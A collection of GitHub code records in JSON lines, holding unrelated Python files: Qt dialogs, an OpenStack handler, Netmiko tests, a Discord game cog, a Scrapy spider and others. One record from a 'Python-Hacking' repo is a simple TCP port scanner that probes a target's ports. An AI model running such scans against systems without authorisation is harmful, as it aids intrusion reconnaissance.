as np\nfrom PyQt6 import uic, QtWidgets\n\n\nclass EditDialog(QtWidgets.QDialog):\n def __init__(self, ui_name, shape, *args, **kwargs):\n super(EditDialog, self).__init__(*args, **kwargs)\n path_ui = pkg_resources.resource_filename(\"impose.gui\", ui_name)\n uic.loadUi(path_ui, self)\n self.shape = shape\n self.point_um = shape.point_um\n\n # Dialog box buttons\n btn_apply = self.buttonBox.button(\n QtWidgets.QDialogButtonBox.StandardButton.Ok)\n btn_apply.clicked.connect(self.on_ok)\n\n\nclass EditCircleDialog(EditDialog):\n def __init__(self, *args, **kwargs):\n super(EditCircleDialog, self).__init__(\"dlg_edit_circle.ui\",\n *args, **kwargs)\n self.doubleSpinBox_radius.setValue(self.shape.r * self.point_um)\n self.doubleSpinBox_x.setValue(self.shape.x * self.point_um)\n self.doubleSpinBox_y.setValue(self.shape.y * self.point_um)\n\n def on_ok(self):\n self.shape.r = self.doubleSpinBox_radius.value() / self.point_um\n self.shape.x = self.doubleSpinBox_x.value() / self.point_um\n self.shape.y = self.doubleSpinBox_y.value() / self.point_um\n\n\nclass EditEllipseDialog(EditDialog):\n def __init__(self, *args, **kwargs):\n super(EditEllipseDialog, self).__init__(\"dlg_edit_ellipse.ui\",\n *args, **kwargs)\n self.doubleSpinBox_a.setValue(self.shape.a * self.point_um)\n self.doubleSpinBox_b.setValue(self.shape.b * self.point_um)\n self.doubleSpinBox_phi.setValue(np.rad2deg(self.shape.phi))\n self.doubleSpinBox_x.setValue(self.shape.x * self.point_um)\n self.doubleSpinBox_y.setValue(self.shape.y * self.point_um)\n\n def on_ok(self):\n self.shape.a = self.doubleSpinBox_a.value() / self.point_um\n self.shape.b = self.doubleSpinBox_b.value() / self.point_um\n self.shape.phi = np.deg2rad(self.doubleSpinBox_phi.value())\n self.shape.x = self.doubleSpinBox_x.value() / self.point_um\n self.shape.y = self.doubleSpinBox_y.value() / self.point_um\n\n\nclass EditPolygonDialog(EditDialog):\n def __init__(self, *args, **kwargs):\n super(EditPolygonDialog, self).__init__(\"dlg_edit_polygon.ui\",\n *args, **kwargs)\n points = np.array(self.shape.points) * self.point_um\n self.tableWidget.setRowCount(len(points))\n for ii, (x, y) in enumerate(points):\n spinx = QtWidgets.QDoubleSpinBox(self)\n spiny = QtWidgets.QDoubleSpinBox(self)\n for sp in [spinx, spiny]:\n sp.setMinimum(-1e9)\n sp.setMaximum(1e9)\n spinx.setValue(x)\n spiny.setValue(y)\n self.tableWidget.setCellWidget(ii, 0, spinx)\n self.tableWidget.setCellWidget(ii, 1, spiny)\n\n def on_ok(self):\n points = []\n for ii in range(self.tableWidget.rowCount()):\n x = self.tableWidget.cellWidget(ii, 0).value()\n y = self.tableWidget.cellWidget(ii, 1).value()\n points.append([x, y])\n self.shape.points[:] = np.array(points) / self.point_um\n\n\nclass EditRectangleDialog(EditDialog):\n def __init__(self, *args, **kwargs):\n super(EditRectangleDialog, self).__init__(\"dlg_edit_rectangle.ui\",\n *args, **kwargs)\n self.doubleSpinBox_a.setValue(self.shape.a * self.point_um)\n self.doubleSpinBox_b.setValue(self.shape.b * self.point_um)\n self.doubleSpinBox_phi.setValue(np.rad2deg(self.shape.phi))\n self.doubleSpinBox_x.setValue(self.shape.x * self.point_um)\n self.doubleSpinBox_y.setValue(self.shape.y * self.point_um)\n\n def on_ok(self):\n self.shape.a = self.doubleSpinBox_a.value() / self.point_um\n self.shape.b = self.doubleSpinBox_b.value() / self.point_um\n self.shape.phi = np.deg2rad(self.doubleSpinBox_phi.value())\n self.shape.x = self.doubleSpinBox_x.value() / self.point_um\n self.shape.y = self.doubleSpinBox_y.value() / self.point_um\n\n\ndef dialog_for_shape(shape, *args, **kwargs):\n sdict = {\n \"Circle\": EditCircleDialog,\n \"Ellipse\": EditEllipseDialog,\n \"Polygon\": EditPolygonDialog,\n \"Rectangle\": EditRectangleDialog,\n }\n dlg = sdict[shape.__class__.__name__](shape, *args, **kwargs)\n return dlg\n","repo_name":"GuckLab/impose","sub_path":"impose/gui/dlg_edit_shape.py","file_name":"dlg_edit_shape.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40113220318","text":"from oslo_log import log as logging\nfrom sqlalchemy import exc as sqla_exc\n\nfrom solum import objects\nfrom solum.objects import assembly\n\nLOG = logging.getLogger(__name__)\n\nASSEMBLY_STATES = assembly.States\n\n\nclass Handler(object):\n def __init__(self):\n super(Handler, self).__init__()\n objects.load()\n\n def echo(self, ctxt, message):\n LOG.debug(\"%s\" % message)\n\n def build_job_update(self, ctxt, build_id, status, description,\n created_image_id, docker_image_name, assembly_id):\n to_update = {'status': status,\n 'external_ref': created_image_id,\n 'docker_image_name': docker_image_name,\n 'description': str(description)}\n try:\n objects.registry.Image.update_and_save(ctxt, build_id, to_update)\n except sqla_exc.SQLAlchemyError as ex:\n LOG.error(\"Failed to update image, ID: %s\" % build_id)\n LOG.exception(ex)\n\n # create the component if needed.\n if assembly_id is None:\n return\n try:\n assem = objects.registry.Assembly.get_by_id(ctxt,\n assembly_id)\n if assem.status == ASSEMBLY_STATES.DELETING:\n return\n if not any([comp for comp in assem.components\n if 'Image_Build' in comp.description]):\n comp_name = \"Heat_Stack_for_%s\" % assem.name\n stack_id = None\n if assem.heat_stack_component is not None:\n stack_id = assem.heat_stack_component.heat_stack_id\n objects.registry.Component.assign_and_create(ctxt, assem,\n comp_name,\n 'Image_Build',\n 'Image Build job',\n created_image_id,\n stack_id)\n # update reference to image in assembly\n assem_update = {'image_id': build_id}\n objects.registry.Assembly.update_and_save(ctxt,\n assembly_id,\n assem_update)\n except sqla_exc.IntegrityError:\n LOG.error(\"IntegrityError in creating Image_Build component,\"\n \" assembly %s may be deleted\" % assembly_id)\n\n def update_assembly(self, ctxt, assembly_id, data):\n try:\n objects.registry.Assembly.update_and_save(ctxt, assembly_id, data)\n except sqla_exc.SQLAlchemyError as ex:\n LOG.error(\"Failed to update assembly status, ID: %s\" % assembly_id)\n LOG.exception(ex)\n\n def update_image(self, ctxt, image_id, status, external_ref=None,\n docker_image_name=None):\n to_update = {'status': status}\n if external_ref:\n to_update['external_ref'] = external_ref\n if docker_image_name:\n to_update['docker_image_name'] = docker_image_name\n try:\n objects.registry.Image.update_and_save(ctxt, image_id, to_update)\n except sqla_exc.SQLAlchemyError as ex:\n LOG.error(\"Failed to update image, ID: %s\" % image_id)\n LOG.exception(ex)\n","repo_name":"openstack/solum","sub_path":"solum/conductor/handlers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"82"} +{"seq_id":"39540175087","text":"import re\nfrom pathlib import Path\nimport pytest\n\nfrom utilities import subprocess_runner\n\n\nTEST_COLLATERAL = [\n \"../class12/collateral/fast_cli.py\",\n \"../class12/collateral/enable.py\",\n \"../class12/collateral/config_mode.py\",\n \"../class12/collateral/commit.py\",\n]\n\n\n@pytest.mark.parametrize(\"test_case\", TEST_COLLATERAL)\ndef test_runner_collateral(test_case):\n\n path_obj = Path(test_case)\n script = path_obj.name\n script_dir = path_obj.parents[0]\n\n cmd_list = [\"python\", script]\n std_out, std_err, return_code = subprocess_runner(cmd_list, exercise_dir=script_dir)\n assert return_code == 0\n assert std_err == \"\"\n\n\ndef test_class12_ex1():\n base_path = \"../class12/exercises/\"\n cmd_list = [\"python\", \"exercise1.py\"]\n std_out, std_err, return_code = subprocess_runner(cmd_list, exercise_dir=base_path)\n assert return_code == 1\n assert \"OSError\" in std_err\n assert \"Fast CLI state\" in std_out\n assert \"Global Delay Factor state\" in std_out\n assert \"Command execution time\" in std_out\n\n\ndef test_class12_ex2():\n base_path = \"../class12/exercises/\"\n cmd_list = [\"python\", \"exercise2.py\"]\n std_out, std_err, return_code = subprocess_runner(cmd_list, exercise_dir=base_path)\n assert return_code == 0\n assert std_err == \"\"\n assert std_out.count(\"cisco4\") == 3\n assert re.search(r\"cisco4.*\\(config\\)#\", std_out)\n assert \"cisco4-testing#\" in std_out\n\n\ndef test_class12_ex3():\n base_path = \"../class12/exercises/\"\n cmd_list = [\"python\", \"exercise3.py\"]\n std_out, std_err, return_code = subprocess_runner(cmd_list, exercise_dir=base_path)\n assert return_code == 0\n assert std_err == \"\"\n assert \"Send configuration commands to device\" in std_out\n assert \"Commit change...operation is slow\" in std_out\n assert \"commit complete\" in std_out\n assert \"Configuration change using Netmiko (ktb)\" in std_out\n","repo_name":"zh0u0liver/AutoOps","sub_path":"netmiko_course/tests/test_class12.py","file_name":"test_class12.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73932634827","text":"import sys, os\nsys.path.append(os.path.abspath(os.path.join('..', 'sql_helpers')))\n\nfrom sql_helpers.sql_query import query_table\nfrom sql_helpers.sql_upload import insert_data\n\nimport pandas as pd\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\n\nclass SentimentAnalysis:\n\n def get_sentiments(ti):\n \"\"\"\n Handles the sentiment analysis and combines the results with results from suggested_reweighting. \n Queries Snowflake for News data to conduct sentiment analysis. \n Pulls suggested_reweighting dataframe from XComs.\n Loads resultant merged results into REWEIGHTING table in Snowflake.\n\n Parameters\n ----------\n companies: array of companies to be analysed\n headlines_df: dataframe of news headlines from these companies\n \"\"\"\n today = date.today()\n one_months_ago_d = date.today() + relativedelta(months=-1)\n headlines_df = query_table(\"IS3107_NEWS_DATA\", \"NEWS_DATA\", \"NEWS_TABLE\", one_months_ago_d, today)\n\n model = SentimentIntensityAnalyzer()\n sentiment_predictions = SentimentAnalysis.getPredictions(model, headlines_df)\n\n optimized_df = pd.read_json(ti.xcom_pull(key=\"reweighting\", task_ids=[\"suggest_reweight\"])[0])\n\n final_results_df = pd.merge(optimized_df, sentiment_predictions, on='Ticker')\n\n #add concordance column\n concordance = []\n for index, row in final_results_df.iterrows():\n if row['Adjustment'] > 0 and row['SENTIMENT'] == \"negative\":\n concordance.append(False)\n elif row['Adjustment'] < 0 and row['SENTIMENT'] == \"positive\":\n concordance.append(False)\n else:\n concordance.append(True)\n final_results_df['CONCORDANCE'] = concordance\n final_results_df['DATE'] = str(date.today())\n\n insert_data(final_results_df, \"IS3107_RESULTS\", \"FINAL_OUTPUT\", \"REWEIGHTING\")\n\n\n \"\"\"\n Iterates through a given dataframe of news data and aggregates sentiments for each ticker in the dataframe\n\n Parameters\n ----------\n model: model to be used to analyse sentiments\n headlines_df: dataframe of news data to be analysed\n\n Returns\n -------\n df : dataframe of tickers along with their aggregated sentiments across news pertaining to their company\n \"\"\"\n def getPredictions(model, headlines_df):\n sentiment_pred = []\n tickers = headlines_df['TICKER'].unique()\n\n for ticker in tickers:\n df = headlines_df.loc[headlines_df['TICKER'] == ticker]\n headlines_arr = df['TITLE']\n total_polarity = 0\n sentiment = 'neutral'\n for h in headlines_arr:\n polarity = model.polarity_scores(h)['compound']\n total_polarity += polarity\n if total_polarity > 0.2:\n sentiment = 'positive'\n elif total_polarity < -0.2:\n sentiment = 'negative'\n sentiment_pred.append(sentiment)\n \n df = pd.DataFrame({'Ticker': tickers, 'SENTIMENT': sentiment_pred})\n return df\n\n","repo_name":"is3107-stock-analysis/Stock-Analysis","sub_path":"dag/portfolio_decision_making/sentiment_analysis/SentimentAnalysis.py","file_name":"SentimentAnalysis.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14874303301","text":"from asyncio import sleep\nfrom discord import app_commands, Interaction\nfrom discord.app_commands import Choice\nfrom discord.ext import commands\nfrom cogs.utils.database.fetchdata import create_inventory_data\nfrom cogs.utils.cooldown import set_cooldown\nfrom cogs.utils.functions import add_xp\nfrom cogs.utils.constants import Emojis\nfrom yaml import Loader, load\nfrom random import choice, randint\nfrom typing import List, Optional\n\nfishes_file = open(\"cogs/assets/yaml_files/job_yamls/fishes.yml\", \"rb\")\nfishes = load(fishes_file, Loader = Loader) \n\nmarket_file = open(\"cogs/assets/yaml_files/market_yamls/market.yml\", \"rb\")\nmarket = load(market_file, Loader = Loader) \n\nclass Fishing(commands.Cog):\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n self.fish_list = list(fishes.keys())\n\n def catch_fish(self):\n fish = choice(self.fish_list)\n name = fishes[fish]['name']\n size = randint(15,22)\n return name, size, fish\n\n async def food_autocompletion(\n self,\n interaction: Interaction,\n current: str,\n ) -> List[Choice[str]]:\n user = interaction.user\n inventory, _ = await create_inventory_data(self.bot, user.id)\n\n data = []\n # Remove food\n if \"fishfoods\" in inventory:\n fishoods = inventory[\"fishfoods\"]\n fishfoods_in_market = market[\"fishfoods\"]\n for food in fishoods:\n if fishoods[food] == 0:\n fishoods.pop(food)\n data.append(\n Choice(\n name=f\"{fishfoods_in_market[food]['name']} x{fishoods[food]}\",\n value=food)\n )\n\n return data[:24]\n\n @app_commands.command(\n name = \"fishing\", \n description=\"Go fishing!\",\n extras={\n 'category': 'job',\n 'help': \"Oltanızı atın ve balık tutun.\"\n })\n @app_commands.describe(food = \"Oltanıza hangi yemi takacaksınız?\")\n @app_commands.autocomplete(food=food_autocompletion)\n @app_commands.checks.dynamic_cooldown(set_cooldown(60))\n async def fishing(self, interaction: Interaction, food: Optional[str]):\n user = interaction.user\n inventory, collection = await create_inventory_data(self.bot, user.id)\n\n if \"fishing\" not in inventory[\"items\"]:\n fish = choice(self.fish_list[:4])\n name = fishes[fish]['name']\n size = randint(8,16)\n\n first_message = \":fishing_pole_and_fish: Olta atıldı..\"\n warning_message = f\" {Emojis.warning_message} Bu olta ile büyük ve farklı balıklar yakalayamazsınız. Yeni bir olta satın alın **`/store`**\"\n message = f\":fishing_pole_and_fish: **Harika!** Ağaç dalı kullanarak yaptığınız basit bir olta {size}cm uzunluğunda bir {name} yakaladınız.\\n\" + warning_message\n inventory[\"jobs_results\"][\"fishes\"].append(f\"{fish}_{size}\")\n\n else:\n rod = inventory[\"items\"][\"fishing\"]\n if rod[\"durability\"] < 4:\n return await interaction.response.send_message(content = f\"{Emojis.whiteCross} Oltanız eskimiş olmalı. Lütfen Jack ustaya gidin ve yenileyin.\", ephemeral=True)\n\n rod[\"durability\"] -= 4\n\n if (food is None) and (rod[\"custom_id\"] == \"fishingrod\"):\n return await interaction.response.send_message(content = f\"{Emojis.whiteCross} Hey, yem takmayı unuttun! Yem olmadan balık tutamayız.\", ephemeral= True)\n elif (food is not None):\n inventory[\"fishfoods\"][food] - 1\n\n\n if rod[\"custom_id\"] == \"fishnet\":\n caught_fishes = []\n fish_count = randint(3,5)\n\n for _ in range(fish_count):\n name, size, fish = self.catch_fish()\n caught_fishes.append([name, size])\n inventory[\"jobs_results\"][\"fishes\"].append(f\"{fish}_{size}\")\n\n caught_fishes_ = \"\\n\".join([f\":fish: **{fish[0]}** - **{fish[1]}cm**\" for fish in caught_fishes])\n first_message = \":fishing_pole_and_fish: Ağ atıldı..\"\n message = f\":fishing_pole_and_fish: **Ağ çekildi!** işte yakaladıklarımız:\\n{caught_fishes_}\"\n\n else:\n name, size, fish = self.catch_fish()\n \n first_message = \":fishing_pole_and_fish: Olta atıldı..\"\n message = f\":fishing_pole_and_fish: **Harika!** {size}cm uzunluğunda bir {name} yakaladınız.\"\n inventory[\"jobs_results\"][\"fishes\"].append(f\"{fish}_{size}\")\n\n await add_xp(self.bot, user.id, \"fisher_xp\")\n await collection.replace_one({\"_id\": user.id}, inventory)\n\n await interaction.response.send_message(content = first_message)\n await sleep(4)\n await interaction.edit_original_response(content = message)\n\nasync def setup(bot: commands.Bot):\n await bot.add_cog(Fishing(bot))\n","repo_name":"iampastel/Limon","sub_path":"cogs/commands/jobs/fishing.py","file_name":"fishing.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"28937152640","text":"import json\nimport shutil\nimport tempfile\nimport subprocess\nfrom pathlib import Path\n\n\ndef binary_available() -> bool:\n \"\"\"Returns True if the GitHub CLI binary (gh) is\n availabile in $PATH, otherwise returns False.\n \"\"\"\n return shutil.which(\"gh\") is not None\n\n\ndef logged_in() -> bool:\n # pylint: disable=subprocess-run-check\n result = subprocess.run(\n [\"gh\", \"auth\", \"status\"],\n capture_output=True,\n )\n return b\"Logged in to github.com\" in result.stderr\n\n\ndef log_in() -> None:\n # pylint: disable=subprocess-run-check\n subprocess.run(\n [\"gh\", \"auth\", \"login\"],\n )\n\n\ndef repo_exists(github_slug: str) -> bool:\n # pylint: disable=subprocess-run-check\n result = subprocess.run(\n [\"gh\", \"repo\", \"view\", github_slug],\n capture_output=True,\n )\n\n if not result.stderr:\n return True\n if b\"Could not resolve\" in result.stderr:\n return False\n raise RuntimeError(result.stderr)\n\n\ndef create_github_repository(github_slug: str, directory: Path) -> Path:\n \"\"\"Creates a new private github repository. github_slug is on format\n owner/reponame.\n \"\"\"\n if not \"/\" in github_slug:\n raise ValueError(\"repo_path argument should be on format owner/reponame\")\n\n subprocess.run(\n [\"gh\", \"repo\", \"create\", github_slug, \"--private\", \"--confirm\"],\n capture_output=True,\n check=True,\n cwd=directory,\n )\n\n subprocess.run(\n [\"gh\", \"repo\", \"clone\", github_slug],\n capture_output=True,\n check=True,\n cwd=directory,\n )\n\n return directory / github_slug.split(\"/\")[1]\n\n\ndef turn_on_github_vulnerability_alers(directory: Path) -> None:\n subprocess.run(\n [\n \"gh\",\n \"api\",\n \"repos/:owner/:repo/vulnerability-alerts\",\n \"--method\",\n \"PUT\",\n \"--header\",\n \"Accept: application/vnd.github.dorian-preview+json\",\n ],\n check=True,\n cwd=directory,\n )\n\n\ndef _call_post_api(endpoint: str, data: dict, directory: Path) -> None:\n subprocess.run(\n [\n \"gh\",\n \"api\",\n endpoint,\n \"--method\",\n \"POST\",\n \"--input\",\n \"-\",\n \"--silent\",\n ],\n input=json.dumps(data),\n check=True,\n cwd=directory,\n text=True,\n )\n\n\ndef add_webhook(directory: Path, receiver_url: str, secret: str) -> None:\n data = {\n \"name\": \"web\",\n \"active\": True,\n \"config\": {\n \"url\": receiver_url,\n \"content_type\": \"json\",\n \"secret\": secret,\n },\n }\n _call_post_api(data=data, endpoint=\"repos/:owner/:repo/hooks\", directory=directory)\n\n\ndef add_deploy_key(directory: Path, title: str, key: str) -> None:\n _call_post_api(\n data={\"title\": title, \"key\": key},\n endpoint=\"repos/:owner/:repo/keys\",\n directory=directory,\n )\n\n\ndef read_file_in_repository(github_slug: str, filename: str) -> str:\n with tempfile.TemporaryDirectory() as tmp_dir:\n temp_dir = Path(tmp_dir)\n subprocess.run(\n [\"git\", \"clone\", f\"git@github.com:{github_slug}\"],\n check=True,\n cwd=temp_dir,\n capture_output=True,\n )\n clone_path = temp_dir / github_slug.split(\"/\")[1]\n\n return (clone_path / Path(filename)).read_text()\n\n\ndef commit_portable_webviz(\n github_slug: str,\n source_directory: Path,\n commit_message: str = \"Initial commit\",\n branch_name: str = \"main\",\n) -> None:\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n temp_dir = Path(tmp_dir)\n subprocess.run(\n [\"git\", \"clone\", f\"git@github.com:{github_slug}\"],\n check=True,\n cwd=temp_dir,\n capture_output=True,\n )\n\n clone_path = temp_dir / github_slug.split(\"/\")[1]\n\n shutil.copytree(\n source_directory,\n clone_path,\n dirs_exist_ok=True,\n ignore=shutil.ignore_patterns(\"resources\"),\n )\n\n commands = [\n [\"git\", \"add\", \".\"],\n [\"git\", \"commit\", \"-m\", commit_message, \"--allow-empty\"],\n [\"git\", \"branch\", \"-M\", branch_name],\n [\"git\", \"push\", \"-u\", \"origin\", branch_name],\n ]\n for command in commands:\n subprocess.run(\n command,\n check=True,\n cwd=clone_path,\n capture_output=True,\n )\n","repo_name":"equinor/webviz-config","sub_path":"webviz_config/_deployment/github_cli.py","file_name":"github_cli.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"82"} +{"seq_id":"13257672569","text":"import socket\nfrom datetime import datetime\nfrom IPy import IP\n\n\nip_address = input(\"[+] Input The Target Ip or Domain : \")#Enter Ip Address Of Target You Can Also Input Domain Name\n\n# def check_ip will help to scan by Domain Name Or Ip Address\ndef check_ip(ip):\n try:\n IP(ip)\n return(ip)\n except ValueError:\n return socket.gethostbyname(ip)\n\ndef port_scanner(ip_address, port):\n try:\n s = socket.socket()\n s.settimeout(0.5)\n s.connect((ip_address, port))\n print(f\"[+] Port {str(port)} is Open \")\n except:\n print(f\"[-] Port {str(port)} is Closed\")\n\n\n\nprint('-' * 50)\nprint(f\"The Target is {ip_address}\")\nprint(f\"Scan Started On {str(datetime.now())}\")\nprint('-' * 50)\n\nconverted_ip = check_ip(ip_address)\n\nfor port in range(79,85):#Enter The Range Of Ports In Brackets (1,65535)\n port_scanner(converted_ip, port)\n\n","repo_name":"Spark-Ali/Python-Hacking","sub_path":"Port-Scanner-By-Domain/PortScanner_By-Domain.py","file_name":"PortScanner_By-Domain.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2386354991","text":"import math\r\nz = str(input(\"add, subtract, multiply, or divide?\"))\r\na = float(input(\"a=?\"))\r\nb = float(input(\"b=?\"))\r\n\r\nx = \"multiply\"\r\ny = \"divide\"\r\nc = \"add\"\r\nd = \"subtract\"\r\n\r\nif z == x:\r\n p = (a*b)\r\n print(p) \r\nif z == y:\r\n p = (a/b)\r\n print(p)\r\nif z == c:\r\n p = (a+b)\r\n print(p)\r\nif z == d:\r\n p = (a-b)\r\n print(a-b)\r\n\r\n\r\nif p%2 == 0:\r\n print(\"The number is even\")\r\nelse:\r\n\tprint(\"the number is odd\")\r\n","repo_name":"sparrowaqua18/pythonlearning","sub_path":"230420_playground.py","file_name":"230420_playground.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21147111784","text":"#!/usr/bin pypy\nfrom ..configreader import ConfigReader\nimport scrapy\nimport pymysql\nimport time\n\n\nclass Database:\n\n def __init__(self):\n file_path = '/home/sarthak/Documents/scrape/scrape/config.ini'\n tags_path = '/home/sarthak/Documents/scrape/scrape/htmlTags.ini'\n self.path = ConfigReader(tags_path)\n self.config = ConfigReader(file_path)\n self.conn = pymysql.connect(host=self.config.ConfigSectionMap(\"DBConnection\")[\"host\"], user= self.config.ConfigSectionMap(\"DBConnection\")[\"user\"],\n passwd=self.config.ConfigSectionMap(\"DBConnection\")['passwd'], db= self.config.ConfigSectionMap(\"DBConnection\")[\"db\"], use_unicode=True,\n charset=\"utf8\")\n self.cur = self.conn.cursor()\n self.name = None\n self.total_db_time = 0\n self.url = None\n self.res_time = 0\n self.total_time = 0\n\n def select_city(self, name):\n self.cur.execute(\"SELECT url,id FROM city WHERE City= %s\", name)\n\n for r in self.cur:\n self.url = str(r[0])\n self.id = str(r[1])\n\n def extract_name(self, response):\n initime = time.time()\n self.name = str(response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['hotelname']).extract_first())\n self.cur.execute('INSERT INTO hotels_desc(name,city_id) SELECT * FROM (SELECT %s, %s) AS tmp WHERE NOT EXISTS( SELECT name, city_id from hotels_desc WHERE name=%s and city_id=%s)',(self.name, self.id, self.name, self.id))\n self.conn.commit()\n exetime = time.time()\n self.total_db_time = self.total_db_time+(exetime-initime)\n return self.name\n\n def extract_revsum(self, response):\n initime = time.time()\n rev_sum = response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['revsum']).extract_first()\n self.cur.execute('update hotels_desc set review_summary=%s WHERE name=%s and city_id=%s',\n ( rev_sum, self.name, self.id))\n self.conn.commit()\n exetime = time.time()\n self.total_db_time += (exetime - initime)\n return rev_sum\n\n def extract_streetadd(self, response):\n self.street_address = str(response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['streetadd']).extract_first())\n return self.street_address\n\n def extract_extnd(self, response):\n initime = time.time()\n extended_add = str(response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['extendedadd']).extract_first())\n location = '|'.join([self.street_address, extended_add])\n self.cur.execute('update hotels_desc set location=%s where name=%s and city_id=%s',\n (location, self.name, self.id))\n self.conn.commit()\n exetime = time.time()\n self.total_db_time += (exetime - initime)\n return extended_add\n\n def extract_topamenities(self, response):\n amenities=[]\n initime = time.time()\n for item in response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['topamenities']):\n amenities.append(item.xpath('text()').extract_first())\n\n stramen = ','.join(amenities)\n\n self.cur.execute('SELECT id FROM hotels_desc WHERE city_id=%s and name=%s', (self.id, self.name))\n for r in self.cur:\n h_id = r[0]\n self.cur.execute(\n 'INSERT INTO hoteldetails(hotel_id,Amenities) SELECT * FROM (SELECT %s,%s) '\n 'As tmp WHERE NOT EXISTS( SELECT hotel_id from hoteldetails WHERE hotel_id= %s)',\n (h_id, stramen, h_id))\n self.conn.commit()\n exetime = time.time()\n self.total_db_time += (exetime - initime)\n return amenities\n\n def extract_price(self, response):\n initime = time.time()\n price=response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['price']).extract_first()\n self.cur.execute('update hotels_desc set Price=%s WHERE name=%s and city_id=%s',\n (price,\n self.name, self.id))\n self.conn.commit()\n exetime = time.time()\n self.total_db_time += (exetime - initime)\n return price\n\n def extract_total_review(self,response):\n rev = response.xpath(self.path.ConfigSectionMap(\"HotelDashboard\")['totalrev']).extract_first()\n if rev == None:\n rev = 0\n else:\n rev = rev.split('(')\n rev = rev[1].split(')')\n rev = rev[0].split(',')\n rev = int(''.join(rev))\n self.cur.execute('update hotels_desc set Total_review=%s where city_id=%s and name=%s',(rev, self.id, self.name))\n return rev\n\n\nclass HotelInformation(scrapy.Spider):\n\n name = \"hotels\"\n total_parse_time = 0\n total_page_time = 0\n ini_page = 0\n total_time = 0\n city_name = input(\"Enter City: \")\n city_name.lower().strip()\n db = Database()\n db.select_city(city_name)\n start_request = time.time()\n ini_parse = time.time()\n start_urls = [db.url]\n\n def parse(self, response):\n\n exe_parse = time.time()\n print(exe_parse-self.ini_parse)\n self.ini_time = time.time()\n\n for href in response.css(self.db.path.ConfigSectionMap(\"HotelDashboard\")['href']):\n yield response.follow(href, self.get_hotels_details)\n\n for href in response.css(self.db.path.ConfigSectionMap(\"HotelDashboard\")['pagination']):\n yield response.follow(href, self.parse)\n\n self.total_parse_time = exe_parse - self.ini_parse\n\n def get_hotels_details(self, response):\n yield{\n 'Name': self.db.extract_name(response),\n 'review_sum': self.db.extract_revsum(response),\n 'street': self.db.extract_streetadd(response),\n 'extended': self.db.extract_extnd(response),\n 'amentites': self.db.extract_topamenities(response),\n 'price': self.db.extract_price(response),\n 'Total': self.db.extract_total_review(response)\n }\n\n def closed(self, reason):\n exe_time = time.time()\n self.total_time = exe_time - self.ini_time\n print(\"Total database time: \", self.db.total_db_time)\n print(\"Total request and response time: \", self.total_time-self.db.total_db_time)\n print(\"Total parse time: \", self.total_parse_time)\n print(\"total pagination time\", self.total_page_time)\n","repo_name":"Sarthak1119/Web-Scrapping-and-Data-Analysis","sub_path":"scrape/spiders/hoteldetails.py","file_name":"hoteldetails.py","file_ext":"py","file_size_in_byte":6411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31919746632","text":"from .. import API, tables\nfrom ..fs.compressor import Compressor\nfrom core.library import api, default_storage, mkdirs, uuid, getsize, rmtree, exists\n\n\ndef upload(req, *args, **kwargs):\n ''' handle a file upload process '''\n\n # Authenticate User\n user = api.get_user(req)\n if user is None:\n return api.fail(\"Failed to authenticate user.\")\n\n # Verify or create user file directory\n u_path = API.upload_dir(user)\n mkdirs(u_path, exist_ok=True)\n\n # Load file into memory\n f = req.FILES.get('file')\n f_uuid = uuid()\n f_dir = u_path / f_uuid\n f_path = f_dir / f.name\n f_mime_type = req.GET.get('mimeType')\n mkdirs(f_dir, exist_ok=True)\n\n try:\n # Save file to disk\n default_storage.save(f_path, f)\n f_size = getsize(f_path)\n\n # Compress file\n f = Compressor(\n uuid=f_uuid,\n user_path=u_path,\n absolute_file_path=f_path\n )\n f.compress()\n\n # Save file to Database\n tables.RDFSModel.objects.create(\n uuid=f_uuid,\n name=f.name,\n ext=f.ext,\n mime_type=f_mime_type,\n size=f_size,\n compressed_ext=f.compressed_ext,\n compressed_size=f.compressed_size,\n uploaded_by=user.data.uuid\n )\n\n # Complete process\n return api.data({\n \"uploadSize\": f_size,\n \"compressedSize\": f.compressed_size\n })\n\n # Fail process\n except Exception as error:\n if exists(f_dir):\n rmtree(f_dir)\n return api.error(error)\n","repo_name":"EasterCompany/RDFS-API","sub_path":"endpoints/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72016878348","text":"import os\nimport sqlite3\nimport string\nimport random\nimport mysql.connector\n\nfrom config import config\n\nclass DatabaseEngine:\n\n connection = None\n cursor = None\n\n @staticmethod\n def connect() -> None:\n \"\"\" Connect to the database file \"\"\"\n \n DatabaseEngine.connection = mysql.connector.connect(\n host = config[\"DATABASE_SERVER\"],\n port = config[\"DATABASE_PORT\"],\n user = config[\"DATABASE_USER\"],\n password = config[\"DATABASE_PASSWORD\"],\n database = config[\"DATABASE\"]\n )\n \n DatabaseEngine.cursor = DatabaseEngine.connection.cursor() # Create new cursor object 